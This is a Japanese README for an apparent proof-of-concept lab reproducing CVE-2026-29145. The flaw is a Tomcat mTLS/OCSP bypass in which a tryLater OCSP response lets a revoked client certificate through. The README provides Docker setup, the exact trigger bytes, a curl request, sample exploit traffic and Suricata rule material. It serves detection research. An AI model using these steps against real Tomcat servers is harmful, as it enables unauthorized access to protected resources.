
CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP ソフトフェイルバイパス用の再現可能なPoC環境。エクスプロイトスクリプト、モックOCSPレスポンダ、Suricata検出ルールを含む。
Apache Tomcat CLIENT_CERT + OCSP ソフトフェイルバイパス 完全再現環境、エクスプロイトトラフィックパケット、および Suricata 検出ルール作成用素材。
許可されたセキュリティ研究と検出ルールの開発にのみ使用してください。許可されていないシステムには使用しないでください。
| 項目 | 説明 |
|---|---|
| CVE | CVE-2026-29145 |
| コンポーネント | Apache Tomcat / Tomcat Native |
| タイプ | 認証バイパス(mTLS / CLIENT_CERT) |
| CVSS | 9.1(NVD)/ Moderate(Apache) |
| 影響を受けるバージョン | Tomcat 10.1.0-M7–10.1.52、9.0.83–9.0.115、11.0.0-M1–11.0.18;Native 2.0.0–2.0.13 など |
| 修正バージョン | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+;Native 2.0.14+ |
Tomcat で CLIENT_CERT と OCSP を有効にし、ocspSoftFail=false(ハードフェイル) を設定した場合、一部の OCSP 失敗パス(特に応答ステータス tryLater)がハードフェイルとして正しく処理されず、拒否されるべきクライアント証明書が受け入れられ、保護されたリソースにアクセス可能になります。
公式修正(例:Tomcat コミット fe26667c)により、FFM パスでの OCSP TRY_LATER の処理が Tomcat Native と一致するようになりました。
Tomcat 10.1.52 + Tomcat Native 2.0.12 において:
| OCSP 動作 | ocpSoftFail | 結果 |
|---|---|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — バイパス成功 |
| HTTP 500 | false | TLS 拒否(ハードフェイルが有効) |
| OCSP タイムアウト | false | TLS 拒否 |
| 任意の失敗 | true | 200(想定通りのソフトフェイル) |
重要なポイント:RFC 6960 の tryLater が返される必要があります。HTTP 500 だけではこの環境でのバイパスは発生しません。
CVE-2026-29145-Everything/
├── README.md # 本ファイル
├── REPRODUCTION.md # 詳細な再現メモと Suricata ヒント
├── docker-compose.yml # 脆弱な Tomcat + Mock OCSP
├── poc_exploit.py # エクスプロイト/検出スクリプト(終了コード 10 = 脆弱)
├── simple_proxy_fail.py # Mock OCSP(fail / succeed / try_later / internal_error)
├── setup_certs.sh # CA / サーバー / クライアント証明書の生成(OCSP AIA 含む)
├── capture_exploit.sh # ワンクリックエクスプロイトとパケットキャプチャ
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # CLIENT-CERT ユーザーマッピング
│ ├── ROOT/ # 公式イメージのデフォルト ROOT 最小パッチ
│ └── protected/ # 保護されたリソース + web.xml (CLIENT-CERT)
└── pcaps/ # ★ キャプチャ済みエクスプロイトトラフィック(ルール作成用)
├── CVE-2026-29145-mtls-and-ocsp.pcap # メインパケット:mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # OCSP 平文のみ
├── CVE-2026-29145-mtls-only.pcap # 8443 TLS のみ
└── exploit_response.html # エクスプロイト成功応答のスナップショット
証明書の秘密鍵ディレクトリ certs/ はデフォルトで .gitignore により無視され、ローカルで生成する必要があります。
pip install -r requirements.txt またはシステムの python3-requests)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. 証明書の生成(AIA は Docker 内 OCSP サービス名を指す)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. 環境の起動(デフォルト OCSP_MODE=try_later)
docker compose up -d
# healthy になるまで待機
docker compose ps
# 3. PoC の実行
python3 poc_exploit.py
# 期待される出力:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 終了コード 10 = 脆弱;0 = 悪用不可/修正済み
手動確認:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# 出力先:pcaps/CVE-2026-29145-*.pcap
リポジトリには 既に 成功したエクスプロイトの pcap が添付されており、再キャプチャなしで Suricata ルールの検証に直接使用できます。
# tryLater — CVE トリガーパス(デフォルト)
OCSP_MODE=try_later docker compose up -d --force-recreate
# HTTP 500 失敗(本環境のハードフェイルでは拒否される)
OCSP_MODE=fail docker compose up -d --force-recreate
# OCSP 成功のシミュレーション(body は実際の DER ではない、接続テスト用)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
重要: 8443 は TLS 1.3 暗号化 された mTLS であり、Wireshark で直接開くと乱れたように見えます。 8888 の OCSP は平文 HTTP です。ルールを書く際は OCSP を優先的に見てください。 詳細は pcaps/README.md を参照。
| ファイル | 説明 |
|---|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | 復号可能な完全なセッション |
pcaps/CVE-2026-29145-ocsp-only.pcap | 平文 OCSP(鍵不要) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | OCSP HTTP 読みやすいテキスト |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | 復号後のビジネス HTTP テキスト |
rules/cve-2026-29145.rules | Suricata ルール例 |
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark:Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
詳細は REPRODUCTION.md と pcaps/README.md を参照。
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
アプリケーション層の CLIENT-CERT は tomcat/protected/WEB-INF/web.xml を参照。
ocspSoftFail ポリシーと OCSP 到達可能性を再確認; 到達不能/tryLater 動作の回帰テストを実施./cleanup.sh
# または
docker compose down -v
CVE-2026-29145-Tester(本リポジトリでは再現可能な設定と tryLater パスに対して強化と完全な記録を実施)本プロジェクトは教育、許可された侵入テスト、および侵入検知ルールの研究開発のみを目的としています。利用者は対象システムに対して合法的な権限を有していることを確認する必要があります。著者は不正使用に対して一切の責任を負いません。